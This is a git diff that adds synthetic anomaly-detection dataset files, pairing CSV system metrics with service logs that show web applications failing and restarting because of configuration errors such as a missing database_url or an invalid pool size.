OK +Jul 02 12:02:30 web-app[2468]: FATAL Invalid configuration file '/etc/webapp/config.yml': key 'database_url' is misspelled as 'db_url'. Shutting down. +Jul 02 12:02:30 systemd[1]: web-app.service: Service RestartSec=5s expired, scheduling restart. +Jul 02 12:02:35 systemd[1]: Started web-app.service. +Jul 02 12:02:35 web-app[2468]: INFO Starting application... +Jul 02 12:02:45 web-app[2468]: ERROR Failed to initialize database connection due to invalid configuration. +Jul 02 12:02:50 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 02 12:02:55 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 02 12:03:00 systemd[1]: web-app.service: Service RestartSec=5s expired, scheduling restart. +Jul 02 12:03:05 systemd[1]: Started web-app.service. +Jul 02 12:03:05 web-app[2468]: INFO Starting application... +Jul 02 12:03:15 web-app[2468]: ERROR Failed to initialize database connection due to invalid configuration. +Jul 02 12:03:20 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 02 12:03:25 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 02 12:03:30 systemd[1]: web-app.service: Service RestartSec=5s expired, scheduling restart. +Jul 02 12:03:35 systemd[1]: Started web-app.service. +Jul 02 12:03:35 web-app[2468]: INFO Starting application... +Jul 02 12:03:45 web-app[2468]: ERROR Failed to initialize database connection due to invalid configuration. +Jul 02 12:03:50 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 02 12:03:55 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 02 12:04:00 systemd[1]: web-app.service: Service RestartSec=5s expired, scheduling restart. +Jul 02 12:04:05 systemd[1]: Started web-app.service. +Jul 02 12:04:05 web-app[2468]: INFO Starting application... +Jul 02 12:04:15 web-app[2468]: ERROR Failed to initialize database connection due to invalid configuration. +Jul 02 12:04:20 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 02 12:04:25 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 02 12:04:30 systemd[1]: web-app.service: Service RestartSec=5s expired, scheduling restart. +Jul 02 12:04:35 systemd[1]: Started web-app.service. +Jul 02 12:04:35 web-app[2468]: INFO Starting application... +Jul 02 12:04:45 web-app[2468]: ERROR Failed to initialize database connection due to invalid configuration. +Jul 02 12:04:50 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 02 12:04:55 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 02 12:05:00 systemd[1]: web-app.service: Service RestartSec=5s expired, scheduling restart. +Jul 02 12:05:05 systemd[1]: Started web-app.service. +Jul 02 12:05:05 web-app[2468]: INFO Starting application... +Jul 02 12:05:15 web-app[2468]: ERROR Failed to initialize database connection due to invalid configuration. +Jul 02 12:05:20 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 02 12:05:25 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 02 12:05:30 systemd[1]: web-app.service: Service RestartSec=5s expired, scheduling restart. +Jul 02 12:05:35 systemd[1]: Started web-app.service. +Jul 02 12:05:35 web-app[2468]: INFO Starting application... +Jul 02 12:05:45 web-app[2468]: ERROR Failed to initialize database connection due to invalid configuration. +Jul 02 12:05:50 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 02 12:05:55 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 02 12:06:00 systemd[1]: web-app.service: Service RestartSec=5s expired, scheduling restart. +Jul 02 12:06:05 systemd[1]: Started web-app.service. +Jul 02 12:06:05 web-app[2468]: INFO Starting application... +Jul 02 12:06:15 web-app[2468]: ERROR Failed to initialize database connection due to invalid configuration. +Jul 02 12:06:20 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 02 12:06:25 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 02 12:06:30 systemd[1]: web-app.service: Service RestartSec=5s expired, scheduling restart. +Jul 02 12:06:35 systemd[1]: Started web-app.service. +Jul 02 12:06:35 web-app[2468]: INFO Starting application... +Jul 02 12:06:45 web-app[2468]: ERROR Failed to initialize database connection due to invalid configuration. +Jul 02 12:06:50 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 02 12:06:55 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 02 12:07:00 systemd[1]: web-app.service: Service RestartSec=5s expired, scheduling restart. +Jul 02 12:07:05 systemd[1]: Started web-app.service. +Jul 02 12:07:05 web-app[2468]: INFO Starting application... +Jul 02 12:07:15 web-app[2468]: ERROR Failed to initialize database connection due to invalid configuration. +Jul 02 12:07:20 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 02 12:07:25 systemd[1]: web-app.service: Failed with result 'exit-code'. diff --git a/anom_dataset/scenario_14/anom_14_13.csv b/anom_dataset/scenario_14/anom_14_13.csv new file mode 100644 index 0000000000000000000000000000000000000000..51024171b1d774a6b1cff06eed73c46f167e371f --- /dev/null +++ b/anom_dataset/scenario_14/anom_14_13.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-14T10:00:00Z,15.36,48.57,37.41,1.03,1.03 +2025-07-14T10:00:05Z,13.15,42.98,25.73,1.02,0.98 +2025-07-14T10:00:10Z,11.3,49.36,30.77,1.35,1.05 +2025-07-14T10:00:15Z,16.32,47.03,36.5,1.08,1.05 +2025-07-14T10:00:20Z,16.31,42.75,36.64,0.9,0.9 +2025-07-14T10:00:25Z,11.59,41.18,20.43,1.22,1.1 +2025-07-14T10:00:30Z,12.35,43.34,20.45,1.24,0.72 +2025-07-14T10:00:35Z,17.05,40.52,37.24,1.46,0.97 +2025-07-14T10:00:40Z,18.03,44.59,23.81,1.03,1.06 +2025-07-14T10:00:45Z,18.91,43.03,32.62,1.37,0.88 +2025-07-14T10:00:50Z,14.78,47.87,21.92,1.1,0.72 +2025-07-14T10:00:55Z,15.46,40.85,23.16,0.83,0.8 +2025-07-14T10:01:00Z,18.64,45.41,20.7,0.98,0.9 +2025-07-14T10:01:05Z,10.9,45.13,27.72,1.49,1.13 +2025-07-14T10:01:10Z,12.87,43.92,38.82,1.14,1.1 +2025-07-14T10:01:15Z,12.11,46.64,26.01,0.99,0.77 +2025-07-14T10:01:20Z,13.6,41.0,37.38,1.31,0.88 +2025-07-14T10:01:25Z,17.94,47.55,24.89,1.31,0.85 +2025-07-14T10:01:30Z,17.37,47.74,20.77,0.85,1.0 +2025-07-14T10:01:35Z,16.13,47.66,20.28,1.45,0.72 +2025-07-14T10:01:40Z,18.13,49.72,21.66,1.44,1.04 +2025-07-14T10:01:45Z,16.41,42.45,34.77,1.33,1.23 +2025-07-14T10:01:50Z,12.84,47.48,39.9,1.09,1.03 +2025-07-14T10:01:55Z,14.49,40.05,34.43,0.87,1.16 +2025-07-14T10:02:00Z,10.8,40.54,35.29,1.15,1.18 +2025-07-14T10:02:05Z,17.54,48.28,24.78,0.84,1.22 +2025-07-14T10:02:10Z,15.8,44.17,30.92,1.37,1.06 +2025-07-14T10:02:15Z,16.99,49.83,35.98,0.99,1.03 +2025-07-14T10:02:20Z,18.08,41.18,24.38,0.82,1.29 +2025-07-14T10:02:25Z,14.9,49.49,23.65,1.14,1.07 +2025-07-14T10:02:30Z,89.35,91.86,40.85,1.4,1.28 +2025-07-14T10:02:35Z,95.22,88.06,46.75,1.26,1.09 +2025-07-14T10:02:40Z,89.95,91.61,57.56,1.39,1.32 +2025-07-14T10:02:45Z,99.43,83.07,59.67,1.41,0.98 +2025-07-14T10:02:50Z,101.22,86.59,43.98,1.6,1.3 +2025-07-14T10:02:55Z,103.2,79.6,33.54,1.45,1.25 +2025-07-14T10:03:00Z,90.69,86.96,44.68,1.18,1.35 +2025-07-14T10:03:05Z,96.64,78.3,43.81,0.91,1.03 +2025-07-14T10:03:10Z,102.76,83.9,44.18,1.49,1.39 +2025-07-14T10:03:15Z,96.1,91.52,41.63,1.09,1.18 +2025-07-14T10:03:20Z,97.94,90.63,32.98,1.1,1.25 +2025-07-14T10:03:25Z,100.69,88.67,48.63,1.42,0.9 +2025-07-14T10:03:30Z,96.69,86.61,47.57,1.33,0.88 +2025-07-14T10:03:35Z,95.02,89.76,47.47,1.09,1.17 +2025-07-14T10:03:40Z,94.86,86.86,39.8,1.07,1.25 +2025-07-14T10:03:45Z,91.54,86.83,48.79,1.11,1.01 +2025-07-14T10:03:50Z,87.16,80.1,51.62,1.48,1.35 +2025-07-14T10:03:55Z,89.94,86.87,40.61,1.4,1.18 +2025-07-14T10:04:00Z,83.92,85.15,51.7,1.37,1.29 +2025-07-14T10:04:05Z,82.05,75.46,41.81,1.4,1.39 +2025-07-14T10:04:10Z,93.55,87.85,58.78,1.28,1.08 +2025-07-14T10:04:15Z,86.43,74.77,38.0,1.14,0.94 +2025-07-14T10:04:20Z,87.96,83.61,45.0,1.45,1.11 +2025-07-14T10:04:25Z,83.85,76.62,42.41,1.57,0.82 +2025-07-14T10:04:30Z,89.75,76.24,50.34,1.34,1.34 +2025-07-14T10:04:35Z,89.38,81.33,57.18,1.56,1.22 +2025-07-14T10:04:40Z,84.15,80.33,30.26,1.54,1.3 +2025-07-14T10:04:45Z,82.85,83.67,38.56,1.07,1.38 +2025-07-14T10:04:50Z,87.31,86.18,52.84,1.26,0.82 +2025-07-14T10:04:55Z,87.51,73.83,39.27,1.28,1.13 +2025-07-14T10:05:00Z,96.04,76.03,42.45,1.58,1.29 +2025-07-14T10:05:05Z,99.55,82.38,52.92,1.18,1.34 +2025-07-14T10:05:10Z,94.25,72.94,38.92,1.28,1.02 +2025-07-14T10:05:15Z,91.74,77.04,56.11,1.08,1.0 +2025-07-14T10:05:20Z,93.9,82.89,41.34,1.16,0.88 +2025-07-14T10:05:25Z,97.22,82.52,56.16,1.21,1.14 +2025-07-14T10:05:30Z,99.85,73.24,32.87,1.22,1.02 +2025-07-14T10:05:35Z,99.5,78.93,34.29,1.3,0.89 +2025-07-14T10:05:40Z,93.75,85.57,38.0,1.21,1.25 +2025-07-14T10:05:45Z,92.82,81.95,37.93,1.57,0.85 +2025-07-14T10:05:50Z,91.76,81.14,30.27,1.02,0.99 +2025-07-14T10:05:55Z,94.15,84.47,33.67,1.55,1.18 +2025-07-14T10:06:00Z,95.6,77.39,50.46,0.91,0.83 +2025-07-14T10:06:05Z,99.76,87.99,30.38,1.34,1.39 +2025-07-14T10:06:10Z,93.93,77.03,46.53,1.42,1.06 +2025-07-14T10:06:15Z,96.42,83.1,47.21,1.07,1.36 +2025-07-14T10:06:20Z,90.69,84.28,44.46,1.11,1.39 +2025-07-14T10:06:25Z,86.82,90.31,31.12,1.36,1.11 +2025-07-14T10:06:30Z,91.69,83.8,45.76,1.03,1.06 +2025-07-14T10:06:35Z,86.01,86.86,43.3,1.34,1.03 +2025-07-14T10:06:40Z,87.96,80.66,38.17,1.22,1.03 +2025-07-14T10:06:45Z,91.58,90.51,32.79,1.05,1.15 +2025-07-14T10:06:50Z,91.46,87.1,49.89,1.31,1.14 +2025-07-14T10:06:55Z,88.95,79.77,50.11,1.14,0.84 +2025-07-14T10:07:00Z,94.23,79.32,49.63,1.31,1.27 +2025-07-14T10:07:05Z,85.59,81.73,53.01,1.44,0.96 +2025-07-14T10:07:10Z,82.21,86.26,36.28,1.54,0.81 +2025-07-14T10:07:15Z,91.93,79.81,52.66,1.21,1.37 +2025-07-14T10:07:20Z,91.8,81.52,39.88,1.1,1.23 +2025-07-14T10:07:25Z,91.91,84.66,31.3,1.47,1.21 diff --git a/anom_dataset/scenario_14/anom_14_13.log b/anom_dataset/scenario_14/anom_14_13.log new file mode 100644 index 0000000000000000000000000000000000000000..bcbd58c01d2b2879479a0fab3403d167d7567194 --- /dev/null +++ b/anom_dataset/scenario_14/anom_14_13.log @@ -0,0 +1,90 @@ +Jul 14 10:00:00 web-app[2233]: GET /api/v1/health status=200 OK +Jul 14 10:00:05 web-app[2233]: GET /api/v1/user/8 status=200 OK +Jul 14 10:00:10 web-app[2233]: GET /api/v1/user/8 status=200 OK +Jul 14 10:00:15 kubelet[1021]: INFO Liveness probe succeeded for pod web-app-pod-xyz +Jul 14 10:00:20 web-app[2233]: GET /api/v1/user/8 status=200 OK +Jul 14 10:00:25 web-app[2233]: GET /api/v1/user/8 status=200 OK +Jul 14 10:00:30 web-app[2233]: GET /api/v1/health status=200 OK +Jul 14 10:00:35 web-app[2233]: GET /api/v1/user/8 status=200 OK +Jul 14 10:00:40 web-app[2233]: GET /api/v1/user/8 status=200 OK +Jul 14 10:00:45 kubelet[1021]: INFO Liveness probe succeeded for pod web-app-pod-xyz +Jul 14 10:00:50 web-app[2233]: GET /api/v1/user/8 status=200 OK +Jul 14 10:00:55 web-app[2233]: GET /api/v1/user/8 status=200 OK +Jul 14 10:01:00 web-app[2233]: GET /api/v1/health status=200 OK +Jul 14 10:01:05 web-app[2233]: GET /api/v1/user/8 status=200 OK +Jul 14 10:01:10 web-app[2233]: GET /api/v1/user/8 status=200 OK +Jul 14 10:01:15 kubelet[1021]: INFO Liveness probe succeeded for pod web-app-pod-xyz +Jul 14 10:01:20 web-app[2233]: GET /api/v1/user/8 status=200 OK +Jul 14 10:01:25 web-app[2233]: GET /api/v1/user/8 status=200 OK +Jul 14 10:01:30 web-app[2233]: GET /api/v1/health status=200 OK +Jul 14 10:01:35 web-app[2233]: GET /api/v1/user/8 status=200 OK +Jul 14 10:01:40 web-app[2233]: GET /api/v1/user/8 status=200 OK +Jul 14 10:01:45 kubelet[1021]: INFO Liveness probe succeeded for pod web-app-pod-xyz +Jul 14 10:01:50 web-app[2233]: GET /api/v1/user/8 status=200 OK +Jul 14 10:01:55 web-app[2233]: GET /api/v1/user/8 status=200 OK +Jul 14 10:02:00 web-app[2233]: GET /api/v1/health status=200 OK +Jul 14 10:02:05 web-app[2233]: GET /api/v1/user/8 status=200 OK +Jul 14 10:02:10 web-app[2233]: GET /api/v1/user/8 status=200 OK +Jul 14 10:02:15 kubelet[1021]: INFO Liveness probe succeeded for pod web-app-pod-xyz +Jul 14 10:02:20 web-app[2233]: GET /api/v1/user/8 status=200 OK +Jul 14 10:02:25 web-app[2233]: GET /api/v1/user/8 status=200 OK +Jul 14 10:02:30 config-manager[5432]: INFO Configuration reload requested for web-app. +Jul 14 10:02:35 web-app[2233]: ERROR Invalid configuration: Unable to parse value for "thread_pool_size". +Jul 14 10:02:40 web-app[2233]: WARN Using default thread pool size of 1, performance may be degraded. +Jul 14 10:02:45 web-app[2233]: WARN Request to /api/v1/data is taking longer than 2000ms. +Jul 14 10:02:50 web-app[2233]: ERROR Failed to release resource in time: Timeout expired. +Jul 14 10:02:55 kubelet[1021]: INFO Liveness probe succeeded for pod web-app-pod-xyz +Jul 14 10:03:00 web-app[2233]: WARN Request to /api/v1/data is taking longer than 2000ms. +Jul 14 10:03:05 web-app[2233]: ERROR Failed to release resource in time: Timeout expired. +Jul 14 10:03:10 kubelet[1021]: INFO Liveness probe succeeded for pod web-app-pod-xyz +Jul 14 10:03:15 web-app[2233]: WARN Request to /api/v1/data is taking longer than 2000ms. +Jul 14 10:03:20 web-app[2233]: ERROR Failed to release resource in time: Timeout expired. +Jul 14 10:03:25 kubelet[1021]: INFO Liveness probe succeeded for pod web-app-pod-xyz +Jul 14 10:03:30 web-app[2233]: WARN Request to /api/v1/data is taking longer than 2000ms. +Jul 14 10:03:35 web-app[2233]: ERROR Failed to release resource in time: Timeout expired. +Jul 14 10:03:40 kubelet[1021]: INFO Liveness probe succeeded for pod web-app-pod-xyz +Jul 14 10:03:45 web-app[2233]: WARN Request to /api/v1/data is taking longer than 2000ms. +Jul 14 10:03:50 web-app[2233]: ERROR Failed to release resource in time: Timeout expired. +Jul 14 10:03:55 kubelet[1021]: INFO Liveness probe succeeded for pod web-app-pod-xyz +Jul 14 10:04:00 web-app[2233]: WARN Request to /api/v1/data is taking longer than 2000ms. +Jul 14 10:04:05 web-app[2233]: ERROR Failed to release resource in time: Timeout expired. +Jul 14 10:04:10 kubelet[1021]: INFO Liveness probe succeeded for pod web-app-pod-xyz +Jul 14 10:04:15 web-app[2233]: WARN Request to /api/v1/data is taking longer than 2000ms. +Jul 14 10:04:20 web-app[2233]: ERROR Failed to release resource in time: Timeout expired. +Jul 14 10:04:25 kubelet[1021]: INFO Liveness probe succeeded for pod web-app-pod-xyz +Jul 14 10:04:30 web-app[2233]: WARN Request to /api/v1/data is taking longer than 2000ms. +Jul 14 10:04:35 web-app[2233]: ERROR Failed to release resource in time: Timeout expired. +Jul 14 10:04:40 kubelet[1021]: INFO Liveness probe succeeded for pod web-app-pod-xyz +Jul 14 10:04:45 web-app[2233]: WARN Request to /api/v1/data is taking longer than 2000ms. +Jul 14 10:04:50 web-app[2233]: ERROR Failed to release resource in time: Timeout expired. +Jul 14 10:04:55 kubelet[1021]: INFO Liveness probe succeeded for pod web-app-pod-xyz +Jul 14 10:05:00 web-app[2233]: WARN Request to /api/v1/data is taking longer than 2000ms. +Jul 14 10:05:05 web-app[2233]: ERROR Failed to release resource in time: Timeout expired. +Jul 14 10:05:10 kubelet[1021]: INFO Liveness probe succeeded for pod web-app-pod-xyz +Jul 14 10:05:15 web-app[2233]: WARN Request to /api/v1/data is taking longer than 2000ms. +Jul 14 10:05:20 web-app[2233]: ERROR Failed to release resource in time: Timeout expired. +Jul 14 10:05:25 kubelet[1021]: INFO Liveness probe succeeded for pod web-app-pod-xyz +Jul 14 10:05:30 web-app[2233]: WARN Request to /api/v1/data is taking longer than 2000ms. +Jul 14 10:05:35 web-app[2233]: ERROR Failed to release resource in time: Timeout expired. +Jul 14 10:05:40 kubelet[1021]: INFO Liveness probe succeeded for pod web-app-pod-xyz +Jul 14 10:05:45 web-app[2233]: WARN Request to /api/v1/data is taking longer than 2000ms. +Jul 14 10:05:50 web-app[2233]: ERROR Failed to release resource in time: Timeout expired. +Jul 14 10:05:55 kubelet[1021]: INFO Liveness probe succeeded for pod web-app-pod-xyz +Jul 14 10:06:00 web-app[2233]: WARN Request to /api/v1/data is taking longer than 2000ms. +Jul 14 10:06:05 web-app[2233]: ERROR Failed to release resource in time: Timeout expired. +Jul 14 10:06:10 kubelet[1021]: INFO Liveness probe succeeded for pod web-app-pod-xyz +Jul 14 10:06:15 web-app[2233]: WARN Request to /api/v1/data is taking longer than 2000ms. +Jul 14 10:06:20 web-app[2233]: ERROR Failed to release resource in time: Timeout expired. +Jul 14 10:06:25 kubelet[1021]: INFO Liveness probe succeeded for pod web-app-pod-xyz +Jul 14 10:06:30 web-app[2233]: WARN Request to /api/v1/data is taking longer than 2000ms. +Jul 14 10:06:35 web-app[2233]: ERROR Failed to release resource in time: Timeout expired. +Jul 14 10:06:40 kubelet[1021]: INFO Liveness probe succeeded for pod web-app-pod-xyz +Jul 14 10:06:45 web-app[2233]: WARN Request to /api/v1/data is taking longer than 2000ms. +Jul 14 10:06:50 web-app[2233]: ERROR Failed to release resource in time: Timeout expired. +Jul 14 10:06:55 kubelet[1021]: INFO Liveness probe succeeded for pod web-app-pod-xyz +Jul 14 10:07:00 web-app[2233]: WARN Request to /api/v1/data is taking longer than 2000ms. +Jul 14 10:07:05 web-app[2233]: ERROR Failed to release resource in time: Timeout expired. +Jul 14 10:07:10 kubelet[1021]: INFO Liveness probe succeeded for pod web-app-pod-xyz +Jul 14 10:07:15 web-app[2233]: WARN Request to /api/v1/data is taking longer than 2000ms. +Jul 14 10:07:20 web-app[2233]: ERROR Failed to release resource in time: Timeout expired. +Jul 14 10:07:25 kubelet[1021]: INFO Liveness probe succeeded for pod web-app-pod-xyz diff --git a/anom_dataset/scenario_14/anom_14_14.csv b/anom_dataset/scenario_14/anom_14_14.csv new file mode 100644 index 0000000000000000000000000000000000000000..8ffd80bd76108d614fa1b3dca0155e69c2858d6a --- /dev/null +++ b/anom_dataset/scenario_14/anom_14_14.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T14:00:00Z,24.24,42.16,30.42,1.11,0.83 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+2025-07-15T14:06:45Z,98.07,92.49,46.11,1.77,1.44 +2025-07-15T14:06:50Z,100.0,95.87,32.04,1.22,1.02 +2025-07-15T14:06:55Z,100.0,90.15,30.85,1.18,1.25 +2025-07-15T14:07:00Z,98.09,83.3,40.55,0.95,1.16 +2025-07-15T14:07:05Z,96.4,93.75,44.05,1.18,1.34 +2025-07-15T14:07:10Z,100.0,90.51,28.5,1.75,1.53 +2025-07-15T14:07:15Z,100.0,85.94,48.09,0.9,1.22 +2025-07-15T14:07:20Z,100.0,93.43,38.81,0.96,1.44 +2025-07-15T14:07:25Z,100.0,86.44,34.69,1.36,1.48 diff --git a/anom_dataset/scenario_14/anom_14_14.log b/anom_dataset/scenario_14/anom_14_14.log new file mode 100644 index 0000000000000000000000000000000000000000..f3b81ed37f87cf81859fefca27ef6d862327da26 --- /dev/null +++ b/anom_dataset/scenario_14/anom_14_14.log @@ -0,0 +1,58 @@ +Jul 15 14:00:15 web-app[3456]: GET /api/v1/health status=200 OK +Jul 15 14:00:16 systemd[1]: Starting daily clean up activities... +Jul 15 14:00:25 web-app[3456]: GET /api/v1/health status=200 OK +Jul 15 14:00:35 web-app[3456]: GET /api/v1/health status=200 OK +Jul 15 14:00:40 web-app[3456]: GET /api/v1/health status=200 OK +Jul 15 14:00:42 systemd[1]: Starting daily clean up activities... +Jul 15 14:01:00 web-app[3456]: GET /api/v1/health status=200 OK +Jul 15 14:01:30 web-app[3456]: GET /api/v1/health status=200 OK +Jul 15 14:01:32 systemd[1]: Starting daily clean up activities... +Jul 15 14:01:45 web-app[3456]: GET /api/v1/health status=200 OK +Jul 15 14:01:50 web-app[3456]: GET /api/v1/health status=200 OK +Jul 15 14:01:55 web-app[3456]: GET /api/v1/health status=200 OK +Jul 15 14:01:56 systemd[1]: Starting daily clean up activities... +Jul 15 14:02:05 web-app[3456]: GET /api/v1/health status=200 OK +Jul 15 14:02:28 deploy-bot[999]: INFO Deploying new configuration 'v2.1.5-buggy' to web-app +Jul 15 14:02:30 web-app[3456]: INFO Application restarting to apply new configuration... +Jul 15 14:02:30 web-app[3456]: ERROR Invalid configuration: 'database.max-pool-size' must be a positive integer, but was '-1'. +Jul 15 14:02:31 web-app[3456]: ERROR Failed to start component [DatabaseConnectionPool] +Jul 15 14:02:45 web-app[3456]: ERROR Exception in connection pool: Timeout waiting for idle object +Jul 15 14:02:56 web-app[3456]: GET /api/v1/data status=503 Service Unavailable +Jul 15 14:03:00 web-app[3456]: ERROR Exception in connection pool: Timeout waiting for idle object +Jul 15 14:03:05 web-app[3456]: WARN Health check probe taking too long. +Jul 15 14:03:15 web-app[3456]: ERROR Exception in connection pool: Timeout waiting for idle object +Jul 15 14:03:21 web-app[3456]: GET /api/v1/data status=503 Service Unavailable +Jul 15 14:03:30 web-app[3456]: ERROR Exception in connection pool: Timeout waiting for idle object +Jul 15 14:03:40 web-app[3456]: WARN Health check probe taking too long. +Jul 15 14:03:45 web-app[3456]: ERROR Exception in connection pool: Timeout waiting for idle object +Jul 15 14:03:47 web-app[3456]: GET /api/v1/data status=503 Service Unavailable +Jul 15 14:04:00 web-app[3456]: ERROR Exception in connection pool: Timeout waiting for idle object +Jul 15 14:04:12 web-app[3456]: GET /api/v1/data status=503 Service Unavailable +Jul 15 14:04:15 web-app[3456]: ERROR Exception in connection pool: Timeout waiting for idle object +Jul 15 14:04:15 web-app[3456]: WARN Health check probe taking too long. +Jul 15 14:04:30 web-app[3456]: ERROR Exception in connection pool: Timeout waiting for idle object +Jul 15 14:04:36 web-app[3456]: GET /api/v1/data status=503 Service Unavailable +Jul 15 14:04:36 kubelet[1122]: INFO Liveness probe failed for pod web-app-pod, but retrying... +Jul 15 14:04:45 web-app[3456]: ERROR Exception in connection pool: Timeout waiting for idle object +Jul 15 14:04:50 web-app[3456]: WARN Health check probe taking too long. +Jul 15 14:05:00 web-app[3456]: ERROR Exception in connection pool: Timeout waiting for idle object +Jul 15 14:05:02 web-app[3456]: GET /api/v1/data status=503 Service Unavailable +Jul 15 14:05:15 web-app[3456]: ERROR Exception in connection pool: Timeout waiting for idle object +Jul 15 14:05:25 web-app[3456]: WARN Health check probe taking too long. +Jul 15 14:05:26 web-app[3456]: GET /api/v1/data status=200 OK +Jul 15 14:05:30 web-app[3456]: ERROR Exception in connection pool: Timeout waiting for idle object +Jul 15 14:05:45 web-app[3456]: ERROR Exception in connection pool: Timeout waiting for idle object +Jul 15 14:05:52 web-app[3456]: GET /api/v1/data status=200 OK +Jul 15 14:06:00 web-app[3456]: ERROR Exception in connection pool: Timeout waiting for idle object +Jul 15 14:06:00 web-app[3456]: WARN Health check probe taking too long. +Jul 15 14:06:15 web-app[3456]: ERROR Exception in connection pool: Timeout waiting for idle object +Jul 15 14:06:16 web-app[3456]: GET /api/v1/data status=200 OK +Jul 15 14:06:30 web-app[3456]: ERROR Exception in connection pool: Timeout waiting for idle object +Jul 15 14:06:35 web-app[3456]: WARN Health check probe taking too long. +Jul 15 14:06:42 web-app[3456]: GET /api/v1/data status=503 Service Unavailable +Jul 15 14:06:41 kubelet[1122]: INFO Liveness probe failed for pod web-app-pod, but retrying... +Jul 15 14:06:45 web-app[3456]: ERROR Exception in connection pool: Timeout waiting for idle object +Jul 15 14:07:00 web-app[3456]: ERROR Exception in connection pool: Timeout waiting for idle object +Jul 15 14:07:07 web-app[3456]: GET /api/v1/data status=503 Service Unavailable +Jul 15 14:07:10 web-app[3456]: WARN Health check probe taking too long. +Jul 15 14:07:15 web-app[3456]: ERROR Exception in connection pool: Timeout waiting for idle object diff --git a/anom_dataset/scenario_14/anom_14_15.csv b/anom_dataset/scenario_14/anom_14_15.csv new file mode 100644 index 0000000000000000000000000000000000000000..ee77433c163b42df1f46db5bb0d3b560116c6ce1 --- /dev/null +++ b/anom_dataset/scenario_14/anom_14_15.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out 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@@ -0,0 +1,77 @@ +Aug 15 10:00:00 web-app[2745]: GET /api/v1/health status=200 OK +Aug 15 10:00:00 systemd[1]: Starting daily clean up activities... +Aug 15 10:00:35 web-app[2745]: GET /api/v1/health status=200 OK +Aug 15 10:01:10 web-app[2745]: GET /api/v1/health status=200 OK +Aug 15 10:01:15 systemd[1]: Starting daily clean up activities... +Aug 15 10:01:45 web-app[2745]: GET /api/v1/health status=200 OK +Aug 15 10:02:20 web-app[2745]: GET /api/v1/health status=200 OK +Aug 15 10:02:30 systemd[1]: Starting web-application.service... +Aug 15 10:02:30 web-app[2745]: INFO Starting application v1.3.2 +Aug 15 10:02:35 web-app[2745]: ERROR Invalid configuration file: /etc/app/config.yaml +Aug 15 10:02:35 web-app[2745]: FATAL Missing required key 'database_url'. Application startup failed. +Aug 15 10:02:40 systemd[1]: web-application.service: Main process exited, code=exited, status=1/FAILURE +Aug 15 10:02:45 systemd[1]: web-application.service: Failed with result 'exit-code'. +Aug 15 10:02:55 systemd[1]: web-application.service: Service RestartSec=5s expired, scheduling restart. +Aug 15 10:03:00 systemd[1]: Starting web-application.service... +Aug 15 10:03:00 web-app[2745]: INFO Starting application v1.3.2 +Aug 15 10:03:05 web-app[2745]: ERROR Invalid configuration file: /etc/app/config.yaml +Aug 15 10:03:05 web-app[2745]: FATAL Missing required key 'database_url'. Application startup failed. +Aug 15 10:03:10 systemd[1]: web-application.service: Main process exited, code=exited, status=1/FAILURE +Aug 15 10:03:15 systemd[1]: web-application.service: Failed with result 'exit-code'. +Aug 15 10:03:25 systemd[1]: web-application.service: Service RestartSec=5s expired, scheduling restart. +Aug 15 10:03:30 systemd[1]: Starting web-application.service... +Aug 15 10:03:30 web-app[2745]: INFO Starting application v1.3.2 +Aug 15 10:03:35 web-app[2745]: ERROR Invalid configuration file: /etc/app/config.yaml +Aug 15 10:03:35 web-app[2745]: FATAL Missing required key 'database_url'. Application startup failed. +Aug 15 10:03:40 systemd[1]: web-application.service: Main process exited, code=exited, status=1/FAILURE +Aug 15 10:03:45 systemd[1]: web-application.service: Failed with result 'exit-code'. +Aug 15 10:03:55 systemd[1]: web-application.service: Service RestartSec=5s expired, scheduling restart. +Aug 15 10:04:00 systemd[1]: Starting web-application.service... +Aug 15 10:04:00 web-app[2745]: INFO Starting application v1.3.2 +Aug 15 10:04:05 web-app[2745]: ERROR Invalid configuration file: /etc/app/config.yaml +Aug 15 10:04:05 web-app[2745]: FATAL Missing required key 'database_url'. Application startup failed. +Aug 15 10:04:10 systemd[1]: web-application.service: Main process exited, code=exited, status=1/FAILURE +Aug 15 10:04:15 systemd[1]: web-application.service: Failed with result 'exit-code'. +Aug 15 10:04:25 systemd[1]: web-application.service: Service RestartSec=5s expired, scheduling restart. +Aug 15 10:04:30 systemd[1]: Starting web-application.service... +Aug 15 10:04:30 web-app[2745]: INFO Starting application v1.3.2 +Aug 15 10:04:35 web-app[2745]: ERROR Invalid configuration file: /etc/app/config.yaml +Aug 15 10:04:35 web-app[2745]: FATAL Missing required key 'database_url'. Application startup failed. +Aug 15 10:04:40 systemd[1]: web-application.service: Main process exited, code=exited, status=1/FAILURE +Aug 15 10:04:45 systemd[1]: web-application.service: Failed with result 'exit-code'. +Aug 15 10:04:55 systemd[1]: web-application.service: Service RestartSec=5s expired, scheduling restart. +Aug 15 10:05:00 systemd[1]: Starting web-application.service... +Aug 15 10:05:00 web-app[2745]: INFO Starting application v1.3.2 +Aug 15 10:05:05 web-app[2745]: ERROR Invalid configuration file: /etc/app/config.yaml +Aug 15 10:05:05 web-app[2745]: FATAL Missing required key 'database_url'. Application startup failed. +Aug 15 10:05:10 systemd[1]: web-application.service: Main process exited, code=exited, status=1/FAILURE +Aug 15 10:05:15 systemd[1]: 